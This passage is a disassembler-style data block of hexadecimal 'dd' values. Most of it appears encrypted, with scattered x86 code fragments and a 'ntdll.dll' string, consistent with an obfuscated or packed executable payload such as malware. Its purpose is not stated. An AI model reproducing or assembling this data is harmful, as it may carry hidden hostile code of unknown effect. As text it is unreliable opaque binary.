		dd 0C899203Eh, 159FADC9h, 0CD554D4Ch, 0AF02FDFCh, 7F1984B7h
		dd 32D0D90Bh, 3ABC0179h, 1FA0635Bh, 57DC14FCh, 0C6CDD64Ah
		dd 13612C22h, 0E3D012AEh, 127B8BD6h, 0D214362Eh, 756D3EC4h
		dd 0C93DDB42h, 154B33FEh, 0C23643DAh, 2EF78290h, 363C342Fh
		dd 5674E0B1h, 16A900D1h, 3DD4BEC2h, 124353Ch, 9A230000h
		dd 0C14765D1h, 0DE6684F0h, 0F983A10Dh, 21A6C430h, 0D925E450h
		dd 53BF9015h, 75E1AA35h, 9602CB57h, 0B420F178h,	3A3803AFh
		dd 0BAD0186Bh, 0D15699ACh, 0EF769400h, 56CFB21Eh, 7FFFECFh
		dd 0F843AF80h, 4D7FF38Dh, 0B8810D1Bh, 114545ABh, 28202DD6h
		dd 1445DE65h, 178B98DCh, 0BDB57E09h, 2DFE8593h,	4B1CA3C1h
		dd 22FE274Ch, 59BAE3AEh, 2734DA19h, 0C16733D0h,	666D6ED4h
		dd 0A6h, 0E34F18A1h, 26E3FC5h, 1F8B5CE4h, 42AE7701h, 62CE9F24h
		dd 0E9357A3h, 28B3D13Dh, 49D5F35Fh, 6FF61480h, 812D329Eh
		dd 186AB8B6h, 172A38D0h, 0B024FC29h, 1A5AD0E5h,	95608EDCh
		dd 0D018505Fh, 43B70A17h, 8FDFB035h, 423D3C05h,	169D954Ah
		dd 34BBD945h, 67AF6463h, 0B5DA6672h, 356C642Dh,	7ADA97FBh
		dd 0A8302827h, 6B2AD8D7h, 308BC36Eh, 33048B33h,	885385C7h
		dd 0DA76E16Ah, 27ADFD0Ah, 645C5756h, 706D75Eh, 0A9C4850Fh
		dd 73957604h, 2201F72h,	0F77E2623h, 159CBA26h, 33E4544h
		dd 41000000h, 0CD563D54h, 860D0504h, 32BEB6B5h,	0E7726A69h
		dd 0A2271F1Eh, 55DAD2D1h, 38D8584h, 0BB433B3Ah,	6DF3EBEAh
		dd 506F9D9Ch, 405E089h,	83000000h, 48704E8h, 14895C24h
		dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 2404895Ch
		dd 8904EC83h, 0F268241Ch, 8B060915h, 0C4812404h, 4, 241C8B54h
		dd 4C481h, 0BA520000h, 8, 8956DA01h, 5E3289C6h,	241C8B5Ah
		dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 582434FFh, 4C481h
		dd 96E90000h, 88FFFA4Dh, 9A632649h, 37B4DE58h, 3016B813h
		dd 0C5030609h, 0A185C650h, 4706031Bh, 38172568h, 0E1B5FFCFh
		dd 8D060302h, 338E085h,	8BD0FF06h, 0B5858DD8h, 50060300h
		dd 10468h, 0C6D3FF00h, 31BA185h, 0BF685306h, 0FF8307F8h
		dd 302E1B5h, 0E0858D06h, 0FF060338h, 0D38589D0h, 83060913h
		dd 32EBDBDh, 840F0006h,	0Bh, 30919D8Bh,	5E90603h, 0BB000000h
		dd 0
		dd 10068h, 0D7B58D00h, 56060913h, 6195FF53h, 8D060308h
		dd 913D7B5h, 0E9F00306h, 1, 5C3E804Eh, 9840Fh, 3E800000h
		dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 60913D7h,	0D395FF50h
		dd 58060913h, 37F3E0FFh, 0DDEF13A4h, 0D5731A7Fh, 0C5770AEBh
		dd 0CFF15E2Eh, 8641D4Ah, 0E60324B0h, 0D6F33F9h,	3412670Bh
		dd 0CFE04A38h, 0D30A2B85h, 0D9CE4155h, 2ECD2E39h, 0BF3F4410h
		dd 57C10012h, 0ED31273Fh, 0D8F45A81h, 6EFB7B69h, 95DF3AC1h
		dd 176139C0h, 0C8740C9Eh, 0D184248h, 90114CF1h,	14D86BC5h
		dd 0FCE1D72h, 10F31C88h, 0C8FA04C3h, 14F3158Bh,	546657A7h
		dd 0E74C34F1h, 0CA572DEEh, 0F12F3EA4h, 11E805AAh, 0E8000000h
		dd 0EBC2CC59h, 98A60E3Bh, 0A1E100B5h, 0D855DF4Fh, 0FE9h
		dd 47DBD700h, 0F522E07Ah, 6FD6C10Ah, 53E3D4Fh, 0C9BB665Eh
		dd 0B8C6817Fh, 8A00006Fh, 60FF2BF1h, 61F8D98Bh,	523E048Bh
		dd 42E98166h, 0E8815BE1h, 0D537BFDh, 81D68B66h,	0BE3929C0h
		dd 8880F39h, 0F000000h,	286h, 8106B300h, 0B0C9DDF0h, 6050FC68h
		dd 0AD3DE681h, 0BF0F09E0h, 48F61CFh, 0D3CE803Eh, 9DE6D381h
		dd 0EF8178FCh, 5E8358D9h, 3860Fh, 0D1800000h, 0D5C781AFh
		dd 0E85E8358h, 12h, 0B7D6D9D0h,	4BBF9962h, 0A5CF524h, 0F9B4722h
		dd 0AE98511h, 0E4000000h, 0A4A134A1h, 53C924Ah,	0FF815BD8h
		dd 0FFFF9134h, 13850Fh,	0D38B0000h, 22E9h, 0F6E35400h
		dd 0B73A9D84h, 0E8B26D96h, 59E9FC7Fh, 45FFFFFFh, 0F5637705h
		dd 2948FC1h, 0CA961A2Eh, 8DB80B6Ah, 933978Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 14F6F30Ah, 7E9C629h,	9E000000h, 98410747h, 85296686h
		dd 6032DC9h, 20A58D89h,	6A0603h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 907979C3h, 201D958Bh
		dd 0BD890603h, 6032C09h, 1A6585C7h, 5FA80603h, 9D090000h
		dd 6030B95h, 686ABF66h,	7185C7h, 603h, 89600000h, 3009195h
		dd 0EA816606h, 0FF6104D7h, 30BE1B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0FFC699FBh
		dd 3171D95h, 0FE906h, 26B70000h, 49099CB1h, 0AC047915h
		dd 49B13DC8h, 0FF006A6Dh, 323A595h, 0EBC08B06h,	3613D32Eh
		dd 99DC483Eh, 9FD76E61h, 0C8933734h, 0CB742A2Ah, 3403FB88h
		dd 0D333920Bh, 1B52885Ch, 12889C7Ah, 0F68F5333h, 820ABC88h
		dd 0EB5F85E2h, 0B61B9026h, 8EAFEC33h, 64746E55h, 642E6C6Ch
		dd 88006C6Ch, 34074621h, 46A3D25Dh, 1902F1h, 0
		dd 0E9000000h, 65Bh, 9355068h, 4A1FE906h, 3668FFFAh, 0E9060936h
		dd 0FFFA4A15h, 936DE68h, 4A0BE906h, 9668FFFAh, 0E9060937h
		dd 0FFFA4A01h, 9385468h, 49F7E906h, 2168FFFAh, 0E9060939h
		dd 0FFFA49EDh, 0CB370089h, 0EA5627ADh, 77344CCh, 2A965FE9h
		dd 4AB6870Ch, 0F67B3F8Bh, 109BB925h, 31BDDB47h,	57DEFC68h
		dd 69151A86h, 1871509Eh, 0FF1220D0h, 3347h, 24324A00h
		dd 0DED1D099h, 6C8AD685h, 0D8D02301h, 7B7A4BD2h, 0FBCC515Fh
		dd 0A576FD03h, 8C145E39h, 2C5ED611h, 0B9C6971Eh, 0D6118CBBh
		dd 30362E3Bh, 8C6FDBA4h, 0A027FC29h, 82D5D0CFh,	6C10430Eh
		dd 7D8ADC14h, 38E30009h, 0D0D1CBB0h, 46E23D8h, 0B9D012DFh
		dd 3EB54340h, 0F55A3A79h, 266h,	0CC831344h, 4553C751h
		dd 0F3EEEDBEh, 0D06D1FBh, 0A7DC1460h, 5944AA75h, 1F2CD012h
		dd 0FA6E7B27h, 0A19962ECh, 0F11F68BBh, 0D5509C3Ch, 0DB0CD74Bh
		dd 0D51625A8h, 51A3C2CCh, 2AC3B37Ch, 80A2ED02h,	0E38F87D1h
		dd 0CC5462D6h, 0A7A677FEh, 0AC6159ACh, 0E821E87h, 23BB8143h
		dd 68D9B0Ch, 8F60E535h,	6ADEEB97h, 9CDC2F38h, 3F8A53DEh
		dd 3931A4D6h, 53DEAC33h, 0E235068Dh, 7E05238Fh,	9BAA56ADh
		dd 2039EEFh, 45EFBh, 541DA600h,	7344CAE8h, 9061E907h, 0B37C0624h
		dd 0D3A42947h, 985CA867h, 0B8D64213h, 0DAF8642Dh, 0FB19854Eh
		dd 3237A374h, 70B5BB86h, 2F3DD018h, 6CF561Ch, 0D2570C53h
		dd 0BC070201h, 0EB3E6EC9h, 0CA5EC7ECh, 382A2AEDh, 296337D2h
		dd 0DEC5BA6h, 6A9C1063h, 0E06D75Ch, 14B3AC4Bh, 0CD3946DCh
		dd 313A2A6Ch, 7FB080A1h, 156E8460h, 0D36DEA35h,	4EB7EAE2h
		dd 5A353EB2h, 94606947h, 0FAC5EFE7h, 0DA175E11h, 89DC0C19h
		dd 62A8A484h, 0A216E21Bh, 564FA570h, 222772B5h,	0CDFD1812h
		dd 7971C44Fh, 9353844Fh, 0BECB78B0h, 0E7B03C4Ah, 0E8153AEFh
		dd 63CE24EFh, 5D287CB9h, 7CB96317h, 0CFDCD2DFh,	9B3D087Ch
		dd 1376BFE7h, 65B08109h, 165875C9h, 2EA2F542h, 5CC89920h
		dd 8FE6B73Eh, 7963FCD9h, 783E4546h, 8C000003h, 0B0CE3A03h
		dd 0CFED592Ah, 0EC0A7647h, 0F2D9962h, 8E4DB98Ah, 28F97E42h
		dd 4A139EBCh, 6B34C0DEh, 895AE1FFh, 0A16C181Dh,	0D0187353h
		dd 56021523h, 269206CFh, 9930B29Dh, 0FB224746h,	5DDEA91Dh
		dd 15DC1482h, 0D4519C08h, 0B512602Bh, 0D5E2D012h, 1D430E82h
		dd 95DA1989h, 3837008Bh, 6876EA3Dh, 0BE5E18E1h,	0E7AFE035h
		dd 64729C94h, 0D220EBDDh, 0A2DA1C5Eh, 5E4BA974h, 1E2BDA1Ch
		dd 0EE0C78CBh, 14229667h, 7D48BC8Dh, 0DA1C5E77h, 45FAF2FFh
		dd 0A71BE520h, 197BF7DCh, 1B727FD0h, 0DAC5AA5Bh, 0D0D4DBDCh
		dd 34000002h, 5876E2ABh, 779501D2h, 94B21EEFh, 0B7D5410Ah
		dd 36F56132h, 0D0A126EAh, 0F2BB4664h, 13DC6886h, 310289A7h
		dd 4914C0C5h, 0D018732Bh, 56AABDCBh, 0DAFFFECFh, 9661D5A3h
		dd 0DC145EC9h, 0E3107C89h, 172h, 0A0197E87h, 11271606h
		dd 88134E19h, 6EE2BEE7h, 313F0A3Ch, 0C1D61145h,	5F36B0BCh
		dd 66B9A75Eh, 0CF41C01Bh, 0A69E329Bh, 14FC68E3h, 0C5F502DCh
		dd 4D843872h, 0A47CA9CDh, 65F0FE30h, 0F346179Fh, 3E01F9F4h
		dd 2754C6A5h, 0FC21202Dh, 0B883F781h, 0DD541216h, 0FF0D818Eh
		dd 0F93BA778h, 6664D9F0h, 736BC9FCh, 0BE15E66Dh, 0D00005F4h
		dd 18818889h, 0EC000002h, 102E9A63h, 2F4DB98Ah,	4C6AD6A7h
		dd 6F8DF9C2h, 0EEAD19EAh, 8859DEA2h, 0AA73FE1Ch, 0CB94203Eh
		dd 0E9BA415Fh, 1CC787Dh, 0D01872F3h, 56627583h,	818AFECFh
		dd 105201h, 5A0F0705h, 0D9AA303Eh, 0A977AEE1h, 0B68D6A35h
		dd 5865DC14h, 690F8BECh, 0B6066C37h, 0E1EED012h, 0B14FB6E9h
		dd 9399723Dh, 8491DA17h, 20D00154h, 0DFE868F4h,	13C96746h
		dd 0EF221A36h, 4476EAB6h, 5FE4AA36h, 413C3B8Eh,	9DFD8649h
		dd 687546FCh, 3FD94469h, 0D95E00CBh, 4A587CFBh,	4EFAF2C3h
		dd 38BFCD41h, 0B0B9FB67h, 8C9BEE94h, 0A0EF8B58h, 853382AAh
		dd 0AD343A32h, 52B185DCh, 595A6FA8h, 15A52h, 5821AA00h
		dd 7748CEECh, 9465ED0Bh, 0B7800A28h, 0D7A82D4Bh, 9C60AC6Bh
		dd 0BCDA4617h, 0DEFC6831h, 0FF1D8952h, 363BA778h, 7DB1BF8Ah
		dd 3341D018h, 0FECF5620h, 0D5A3DAFFh, 59959661h, 0C0CDDC14h
		dd 29327154h, 8F3A693Bh, 30F98349h, 4BB2E5DDh, 0F90739ADh
		dd 0CC56A66Fh, 11090403h, 1A7D0A4Eh, 299DAADCh,	57C3941Bh
		dd 0E2E1B239h, 44B840BDh, 134E4379h, 0AB3745DAh, 0F0E8E3E2h
		dd 91C33744h, 2E5E945Fh, 916DA03h, 0B3840B11h, 0D1A22947h
		dd 8770ADD2h, 32EB6BCh,	0DE313EDAh, 3D45C6Ah, 0D71DE804h
		dd 9FDA032Eh, 1D473F92h, 6258952h, 2FB5C3D0h, 317C723Dh
		dd 0E7F4C404h, 0A29A9594h, 0B492E9F6h, 71DACAE8h, 8D6970h
		dd 0EE770000h, 159BB925h, 32BAD844h, 4DD7F561h,	75FA1884h
		dd 2D7938A4h, 0A713E469h, 0C935FE89h, 0EA561FABh, 87445CCh
		dd 668C5703h, 0ED0187Ch, 0FC29ED00h, 0ADE5B024h, 49DC1A79h
		dd 0BE453D3Ch, 0DC6381EDh, 50570C0Bh, 0B8F31424h, 6B636233h
		dd 0A1312E3h, 0D65C0401h, 1F7AB205h, 22F37A22h,	401198B6h
		dd 7039BECCh, 3ED3294Ch, 0AFAE01F1h, 0F07BCB4h,	9FBDBC85h
		dd 941BC3C0h, 0B5414FC3h, 0B4D2F4ECh, 565D5C2Dh, 3, 563D5459h
		dd 0D0504CDh, 0BEB6B586h, 726A6932h, 271F1EE7h,	0DAD2D1A2h
		dd 8D858455h, 433B3A03h, 0F3EBEABBh, 6F9D9C6Dh,	81E38953h
		dd 4C3h, 4EB8300h, 8B241C87h, 89522424h, 4C281E2h, 83000000h
		dd 148704EAh, 2C895C24h, 35566824h, 1C890000h, 4EC8324h
		dd 68243489h, 155A7E40h, 0DEF74E5Eh, 0B272C681h, 0F5891B63h
		dd 4EC815Eh, 89000000h,	4812424h, 424h,	89575B00h, 438F57EFh
		dd 34FF5F08h, 0C4835B24h, 242C8B04h, 81E38953h,	4C3h, 4C38300h
		dd 5C241C87h, 0FA43D0E9h, 0B8BC63FFh, 60939D3h,	0E0FFC503h
		dd 493D159Fh, 72FFE48h,	5AB97667h, 52765C52h, 2D52DF30h
		dd 162D1FD6h, 48AAB348h, 0E537564h, 6E8h, 0F51FB500h, 0E97D9C65h
		dd 11h,	0AD244384h, 0AA8684E1h,	0E36C1E77h, 0C818154Eh
		dd 0BE665A39h, 0C281F6FDh, 5C0Dh, 68C38Bh, 59000000h, 0F0A3C8Bh
		dd 68Ch, 36D08100h, 812514B1h, 2567B8C7h, 0F781F579h, 2F615C3Dh
		dd 48E4A9B8h, 0A1F7817Dh, 0F50EF71h, 488h, 0DA8B5100h
		dd 0A3C895Bh, 1A8C0Fh, 12E80000h, 0B1000000h, 0B24763E9h
		dd 777E778Ah, 0E679C792h, 19922928h, 5E71B4DDh,	83C2BF0Fh
		dd 0BF0F01E9h, 494949F1h, 49AAE881h, 0F9816269h, 0FFFFA4C4h
		dd 25850Fh, 6E80000h, 73000000h, 4D5212E1h, 23E9586Ah
		dd 37000000h, 3315EBE4h, 0D28C1ADCh, 2AC4DCA5h,	0E5087E4Eh
		dd 66304822h, 0E9A70EB8h, 0FFFFFF60h, 61527ED8h, 8EBFC71h
		dd 0
		dd 5E0AC9A9h, 4A4E9h, 3C866800h, 0B2E90609h, 68FFFA42h
		dd 6093CF9h, 0FA42A8E9h, 3E3768FFh, 9EE90609h, 0D8FFFA42h
		dd 0FC1A864Fh, 1B39A576h, 3856C293h, 5B79E5AEh,	0DA9905D6h
		dd 7445CA8Eh, 965FEA08h, 0B7800C2Ah, 0D5A62D4Bh, 0EDB86469h
		dd 0D0187E87h, 564E616Fh, 90100D1h, 0FA45B182h,	0A56EF883h
		dd 0E458ABA6h, 0BFB580B2h, 37D61145h, 86D9A22Dh, 652CCB8Eh
		dd 0B9C6DC14h, 0B4959EBAh, 0A0DC8371h, 0EE08CBC3h, 53D0126Eh
		dd 844FDDDAh, 8F5A3AC8h, 2D3h, 350032DEh, 0D611453Fh, 0E0077762h
		dd 0B0A6A2A1h, 2F62ABA3h, 2599679Eh, 68BFEAF3h,	0B77357B8h
		dd 65605F30h, 0FC571A12h, 76DC14DBh, 5E63969h, 5FD5757Dh
		dd 60D9EF56h, 675FACF8h, 9337C934h, 626D7E08h, 1CC81332h
		dd 5CAF0DD8h, 55639509h, 470A02CBh, 0DF7DF50Ch,	7E9A99A6h
		dd 1A19EA70h, 89F4271Fh, 17497BEFh, 7DFA264Ch, 71C1CEDFh
		dd 62251DE6h, 0D578C128h, 0D3FB3C0h, 0B4AC75FFh, 0EA5627AEh
		dd 1D7445CCh, 0D8256D04h, 0E32F3637h, 0DC000002h, 1E8A53h
		dd 1F3DA97Ah, 3C5AC697h, 5F7DE9B2h, 0DE9D09DAh,	7849CE92h
		dd 9A63EE0Ch, 0BB84102Eh, 0D9AA314Fh, 0F1BC686Dh, 0D0187983h
		dd 29526573h, 0E5B024FCh, 0DC1A803Ch, 2B39ADBAh, 834CD8A6h
		dd 0CA368984h, 658B5688h, 0DD01879h, 7D020800h,	7E2F38ACh
		dd 7F1D81D8h, 5922ACFCh, 0F2F7AC61h, 1AD018D4h,	486BC293h
		dd 8FCEBF06h, 270878Eh,	0C64F0000h, 0ED7391FDh,	0A92B01Ch
		dd 25AFCD39h, 4DD2F05Ch, 551107Ch, 7FEBBC41h, 0A10DD661h
		dd 0C22EF783h, 0E04C1DA4h, 0E642FDBh, 0E6D01879h, 2432C5D8h
		dd 0A2D5CD9Eh, 0F7299D7Bh, 95945DE9h, 0F7C04A9Ah, 80853CFFh
		dd 411DC1Ah, 7E265005h,	0E974D018h, 9D292120h, 1A673DDCh
		dd 6592A76h, 0F8F5FE07h, 0AEAB244Dh, 3016AB20h,	15D625Ah
		dd 56B10000h, 0E3FFFECFh, 7E7D4ED5h, 0FE858B83h, 0F76C12Dh
		dd 1D32FD71h, 95DC144Ah, 3837008Bh, 36EBEA3Dh, 0D012413Ch
		dd 20ABB981h, 655D5857h, 0F4FF8D8Ah, 3F5A3AE3h,	37h, 24FC298Eh
		dd 68C2E5B0h, 8F9CDC14h, 686B7490h, 0C942E7CEh,	1CED75C5h
		dd 672A221Dh, 0D012440Dh, 0AE3C39B2h, 5A3AE225h, 0A0F0h
		dd 1AD7E000h, 17C4F5CDh, 5688534Bh, 7FFFECFh, 96B2B182h
		dd 0AB320088h, 8D8887DAh, 37088F95h, 0E8B94038h, 4A79A17Ch
		dd 1CA3D611h, 3EC9D74Bh, 0D225EE78h, 0BEE0D8D3h, 0FA6E0A73h
		dd 16FD992Fh, 48CFD9DCh, 2A7D7877h, 5223A8B6h, 0B96A4E6h
		dd 576F742h, 0DCFCED19h, 8859DEE4h, 0BACB0431h,	575E5FCEh
		dd 132h, 0CF3B048Dh, 0EE5A2BB1h, 0B7748D0h, 2E9A63EDh
		dd 4EBA8B10h, 0FA7F438Fh, 149FBD29h, 35C1DF4Bh,	5BE2006Ch
		dd 6D191E8Ah, 187B4CA2h, 31624D0h, 9400D156h, 0B21EEF76h
		dd 0FECF56CFh, 0AF8007FFh, 0F38DF843h, 9223B47Fh, 0EB1DDC14h
		dd 1208D220h, 9D95A2D0h, 6270E4F1h, 0C5A00CDDh,	0D01208ABh
		dd 0A57062E9h, 0D012084Fh, 0C02EF927h, 0B0D01208h, 89FD50A3h
		dd 0B668C57h, 10ED012h,	44C9E709h, 69F1FF73h, 0A69E9998h
		dd 0A4EAF1h, 29ED0000h,	0E5B024FCh, 0DC1A8020h,	0DDA63240h
		dd 3FEBE3DEh, 5D87B23Ah, 88DBF774h, 0B04F0B14h,	9586924Ah
		dd 9ACCE89Dh, 180CA1CFh, 4C4451D0h, 7AEEBF46h, 0C777D48h
		dd 0F2FFD018h, 8D96D8FAh, 0B6DA64DBh, 9BA19905h, 8F444314h
		dd 281D0101h, 0EF9794EFh, 0D2B9768h, 0BEB6B586h, 746C6B34h
		dd 261E1DEEh, 22D0CFA0h, 45BB6663h, 8BF20E17h, 0AABC994h
		dd 3E4B881Ch, 7CBDF5F3h, 0E0ACA984h, 3AB9D7D7h,	0E42F71D8h
		dd 0FA8F2E80h, 0BFC5BDDBh, 0DDFB6738h, 6A868556h, 403D45Ch
		dd 3FC1109h, 0FF000000h, 0CD563D54h, 860D0504h,	32BEB6B5h
		dd 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h,	0BB433B3Ah
		dd 6DF3EBEAh, 686F9D9Ch, 6FC2h,	68241C89h, 494Eh, 68243C89h
		dd 103Ah, 68240C89h, 685Eh, 0BA241489h,	6093B82h, 835AD789h
		dd 248904ECh, 24048124h, 4, 0BA525759h,	6306240Eh, 4245401h
		dd 8418F5Ah, 0E086981h,	8B630624h, 8951240Ch, 4C181E1h
		dd 83000000h, 0C8704C1h, 3C8B5C24h, 0E3895324h,	4C381h
		dd 0C3830000h, 241C8704h, 3E1BE95Ch, 935BFFFAh,	3F8EB86Ch
		dd 0C5030609h, 0A73EE0FFh, 0C1F2023Ah, 0EC235397h, 2BE903F3h
		dd 297D5F59h, 51C12A13h, 9B476FBBh, 0DE70049Fh,	55DC0AF2h
		dd 6C213652h, 0EF25C28h, 0B37C771Ah, 614C00CDh,	0F8654A24h
		dd 54D4E7Eh, 0B3B34DE7h, 384A2A82h, 805732BEh, 538D67F2h
		dd 75B5702Ch, 0DBE34EA7h, 63616F9Dh, 2C90779Dh,	4BA2342Bh
		dd 0CB145BA6h, 0D0253DA6h, 0F47C4ED8h, 84A96EE1h, 0FB6F4DC7h
		dd 3E186249h, 83023412h, 4EB5089h, 66AD33BDh, 57EE9h, 9C65EE00h
		dd 0BB8C1230h, 0D8A9314Fh, 0FBC44E6Ch, 1BEC718Fh, 0E0A4F0AFh
		dd 1E8A5Bh, 2240AC75h, 4361CD96h, 7A7FEBBCh, 5ED03CEh
		dd 7785D018h, 0FECF5664h, 908207FFh, 1145AFC5h,	0E73A47D6h
		dd 5D65D7Bh, 56DCEA06h,	0DFB03585h, 0E7EDE5E0h,	98908F60h
		dd 4A424112h, 0A66FFAC0h, 0D45C5453h, 0A4110403h, 90E96BC7h
		dd 0F9F6FF60h, 5E6C164Eh, 330E06D7h, 39078E36h,	8F60E8AEh
		dd 0BD453D3Ch, 9FF2EDECh, 36C2E04Ch, 7E73814Ch,	23A9D611h
		dd 62585352h, 78960255h, 393702ECh, 0B9D6117Eh,	6D75CACh
		dd 0BAB90C07h, 0EC7137C2h, 0CE211C1Bh, 7583B1CFh, 271F1EEFh
		dd 0D6D1D0A1h, 69443883h, 6CDAA5CBh, 0F49C9974h, 0F1339F68h
		dd 51FEF4BFh, 6976D611h, 13E46B71h, 51145F14h, 8459D611h
		dd 0F7F2F987h, 59395C39h, 88000000h, 7601CF56h,	60B3AEADh
		dd 4540AC61h, 0D2A7D611h, 0E38C47D5h, 1875C39h,	0D6000000h
		dd 52DE2932h, 7C4DB5D5h, 27F87E84h, 0D9AA3028h,	8F58E2DAh
		dd 0D01EE91Bh, 22D61148h, 11481957h, 0D6CCD9D6h, 3C1CD1C9h
		dd 0B63CE4E1h, 2E3779E5h, 0BAA6E499h, 0AFB5ADC8h, 8EB5728h
		dd 100D156h, 3EB28309h,	0E4DCA530h, 0C5C2812Fh,	53C7981Dh
		dd 0EFEEBF45h, 0BCDAFCF4h, 0E2F06435h, 3A0B9157h, 0F5EDE8E7h
		dd 0EFC04840h, 0A9A61FF0h, 7A43CFDDh, 7928762Fh, 0B2AAB9E3h
		dd 39B51DC6h, 82185Ch, 56670000h, 90100D1h, 0FE57B881h
		dd 0D6D0EBCh, 438EE887h, 6ABD305Ah, 33308B6Bh, 0C935068Bh
		dd 565526ABh, 0C0BD45Eh, 37C5C23Bh, 5C393BACh, 4AD46F78h
		dd 0CD291B5Bh, 11E6EC02h, 247784D6h, 63F12Ch, 56400000h
		dd 90100D1h, 0ACB5B47Dh, 19572254h, 0D9D61145h,	0FCF9D4CCh
		dd 3D33FE30h, 0B5D61145h, 25AAB0A8h, 0DCD7E054h, 0D7A82E3Dh
		dd 0C629C18Ch, 386AACCEh, 11F7076Dh, 5DE5EFD6h,	7641398Ch
		dd 0FFD056h, 1145204Bh,	737045D6h, 39E3EEE5h, 0DA2D365Ch
		dd 45C6D976h, 6124D45h,	2000000h, 0A59D6EF4h, 0DD2932DAh
		dd 0BE8CD467h, 0D959B93h, 0BE453D3Ch, 0F1D0EEEDh, 0F3C44CF4h
		dd 37C13C87h, 0FD8391C3h, 3A322D2Ch, 1437B077h,	31A5B2DCh
		dd 9B6CF1FFh, 1236608Eh, 0B48FBBD0h, 0AAFCE58Ah, 0FAAFA7B4h
		dd 80897B02h, 0F87512AEh, 7C727F5Ch, 0F4D01262h, 62F5FBC6h
		dd 707DD012h, 4856CA1Dh, 0DAFCF4BDh, 0DC6735BCh, 0C6191413h
		dd 62DA12C7h, 1E27D012h, 21F27921h, 3F1097B5h, 0F0C14840h
		dd 0A472F9F1h, 0FBFA4D1Eh, 0B1B07903h, 0A6514EF9h, 3CE4E1A0h
		dd 7478E4B5h
		dd 5A3AC47Fh, 6334B9C7h, 14B306Bh, 12200000h, 0F8C3BB8Ch
		dd 0B024FC29h, 145F4AE5h, 0A31724DCh, 49410A95h, 47159C94h
		dd 0F9F4F3BCh, 951C3AA6h, 0EAE72DCCh, 6CBFD548h, 5F48516Dh
		dd 92E0AB9Eh, 62D0121Dh, 9CF20A55h, 30B7BDB5h, 58DDEB5Fh
		dd 0E0B13787h, 778533E8h, 1B747A45h, 0EFFCD012h, 531F1CF7h
		dd 0F1F0B945h, 511AA6F6h, 595F5752h, 539501D2h,	0F2F1BA45h
		dd 0D813FFF7h, 535A3ABDh, 60h, 9E2432A2h, 76A2D5CDh, 0F3FC2EA2h
		dd 6E399AD7h, 0D6117500h, 2C98E3F0h, 60231BC7h,	0D61146A2h
		dd 0CFA02832h, 9661D5D0h, 0D6114658h, 0B9B80B18h, 1146EE04h
		dd 0C4C16CD6h, 0D4F7BBEFh, 2369BB69h, 0CBD94DA0h, 58747344h
		dd 11A8678Dh, 0AF020FD6h, 1CC28DB7h, 94D611A8h,	76EE1B87h
		dd 0F1000000h, 0B024FC29h, 4C4B1CA2h, 0FD2F5951h, 0A1996AEFh
		dd 146751DEh, 151421DCh, 4147F0F9h, 803FB3CCh, 0B6B699E9h
		dd 0AEFE5160h, 5C625A23h, 7A9804D5h, 6E2322F3h,	0D012EF0Bh
		dd 0D27A7780h, 0C30E7A4Bh, 7F4ABE5Ah, 0DA192F8Ah, 583878Ch
		dd 0D95EDE8Eh, 5D6B8786h, 60C04D5h, 83AAE7Fh, 1DBC373Dh
		dd 0BAB2BFDAh, 0B08E705h, 0BD31CF36h, 167C07F2h, 86F2FFD0h
		dd 24FC29A3h, 0BDB37EB0h, 35D61145h, 3B063028h,	0DC1A85CEh
		dd 443C3B48h, 996AEFBDh, 8A98DA46h, 0F7C236FFh,	0D01805F9h
		dd 6E746C79h, 94A216E7h, 23511C0Eh, 0D3D01805h,	34FF73C6h
		dd 0D018053Eh, 0FCB1A9B6h, 0BCFAD747h, 9D6EF530h, 521BA69Eh
		dd 1D626053h, 8B8C8CF1h, 8E393615h, 32FEFB56h, 44CE9C24h
		dd 2E29287Bh, 0D8A93036h, 0F6C74E6Ch, 0AC75FFF7h, 0B3B08FADh
		dd 3FB3840Bh, 0E2DAAB31h, 814C7EC0h, 0B0BC0373h, 0F8FEF603h
		dd 4C1DA371h, 3F3FAF9h,	0F6000000h, 0CD563D54h,	860D0504h
		dd 32BEB6B5h, 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h
		dd 0BB433B3Ah, 6DF3EBEAh, 536F9D9Ch, 0C381E389h, 4, 5304EB83h
		dd 42474FFh, 24048F5Bh,	23BF685Ch, 2C890000h, 0E2895224h
		dd 4C281h, 0EA830000h, 24148704h, 2434895Ch, 0A1BD5551h
		dd 0F735584Bh, 6EDC1D5h, 7F8FED81h, 814D5B69h, 740D69E5h
		dd 0AC58129h, 89496EFDh, 0C1815DE9h, 19AC4675h,	8149D1F7h
		dd 0ADEFA6F1h, 59CD897Dh, 8904EC83h, 4832424h, 505E0424h
		dd 868h, 0F0015800h, 8B582889h,	89532434h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 2434FF5Ch, 4C4835Dh, 0FA3810E9h, 0F014CFFFh
		dd 0B8DEFB95h, 6094572h, 0E0FFC503h, 2472C698h,	42754D4Ch
		dd 5B23CA1h, 47ECB0CCh,	782EB7AAh, 6D8302F5h, 47148D8Dh
		dd 8E0F0609h, 6, 2531B58Bh, 8D890603h, 60320A5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 92C35141h, 0DD9D3360h
		dd 61060330h, 2389B589h, 85C70603h, 6031A65h, 5FACh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 91C35646h, 9FC2B851h
		dd 0F5527A09h, 7185C7h,	603h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 5762FDC3h
		dd 1655BD8Bh, 0B5FF0603h, 6031765h, 2169BD8Bh, 95FF0603h
		dd 603171Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	13C35141h, 4B1CEC7Fh, 1D1DB589h, 6A0603h, 23A595FFh
		dd 0C08B0603h, 5DBA59EBh, 794C30E8h, 6EF24B6Dh,	0CB43B9E2h
		dd 896FC0C9h, 6FB615E4h, 0E0F926AFh, 0F3E7F8ABh, 0AED9F8DDh
		dd 0BD9F56h, 0F8C2D319h, 136C6E34h, 99E72E99h, 0CD79EC8Ah
